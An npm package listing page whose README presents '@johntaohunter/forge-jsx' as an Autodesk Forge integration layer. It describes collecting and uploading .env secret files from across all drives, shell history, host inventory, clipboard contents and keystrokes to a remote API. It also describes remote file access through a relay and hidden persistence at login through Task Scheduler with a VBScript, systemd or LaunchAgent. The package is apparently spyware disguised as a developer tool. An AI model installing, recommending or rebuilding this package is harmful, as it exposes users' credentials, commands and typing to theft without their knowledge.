npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@johntaohunter/forge-jsx

v1.0.4

Published

Node.js integration layer for Autodesk Forge

Downloads

156

Readme

forge-jsx

Node.js integration layer for Autodesk Forge (relay, remote file explorer, forge-db sync).

Requires Node.js ≥ 18.

What runs where

| Feature | Windows / Linux / macOS | Notes | |--------|-------------------------|--------| | File explorer (/files) | Yes | Needs relay + forge-agent (same session). Optional --no-filesystem disables FS. | | .env scan → API | Yes | Needs FORGE_JS_SYNC_URL / CFGMGR_API_URL. Disable: CFGMGR_SYNC_ENV_FILES=0. | | Wide .env crawl | Opt-in | FORGE_JS_ENV_SCAN_WIDE=1 adds extra roots (e.g. all drive letters on Windows, /Users on macOS, /home on Linux). Skips still apply (node_modules, system dirs, etc.). | | Shell history → API | Yes | zsh/bash/fish + PSReadLine paths; Cygwin/MSYS2 candidates; HISTFILE; FORGE_JS_SHELL_HISTORY_EXTRA_PATHS for e.g. \\wsl$\.... Disable: FORGE_JS_SYNC_SHELL_HISTORY=0. | | Host inventory → API | Yes | JSON at forge-js://host-inventory.json: OS type/version, hostname, Node version, installed app names, plus syncSummary (.env + shell history paths uploaded in the same batch). Non-interactive; disable: FORGE_JS_SYNC_HOST_INVENTORY=0. | | Clipboard / keyboard → API | Best-effort | Needs API URL + optional native addons (uiohook-napi, @napi-rs/clipboard). Linux may skip keyboard on pure Wayland/headless. macOS: Input Monitoring for hooks. |

Key environment variables

  • Relay: CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD
  • API (sync): FORGE_JS_SYNC_URL, CFGMGR_API_URL
  • Env scan roots (override): FORGE_JS_ENV_SCAN_ROOTS (comma/semicolon)
  • Env scan limits: FORGE_JS_ENV_SCAN_MAX_FILES (default 400, max 5000), per-file size cap in envScan.ts
  • Shell history size: FORGE_JS_SHELL_HISTORY_MAX_BYTES (default 2 MiB)
  • Host inventory (OS + apps): FORGE_JS_SYNC_HOST_INVENTORY (default on with env sync; set 0 to disable)
  • macOS FS (explorer): CFGMGR_MACOS_ALLOW_TCC_PATHS (default on), optional CFGMGR_MACOS_FS_FULL=1 for /
  • Quiet agent: FORGE_JS_QUIET_AGENT=1 (autostart sets this)

Autostart (login / boot)

Use forge-autostart (see src/autostart/) to register Windows (Task Scheduler + hidden VBScript), Linux (systemd user unit + XDG), macOS (LaunchAgent). No separate GUI is spawned by forge-js; OS privacy prompts (TCC, SmartScreen, etc.) may still appear for global input/clipboard — that is outside Node.

Scripts

  • npm run build — compile and copy assets/ to dist/
  • npm test — smoke tests
  • npm run relay / npm run agent — run CLI entrypoints from package.json

License

MIT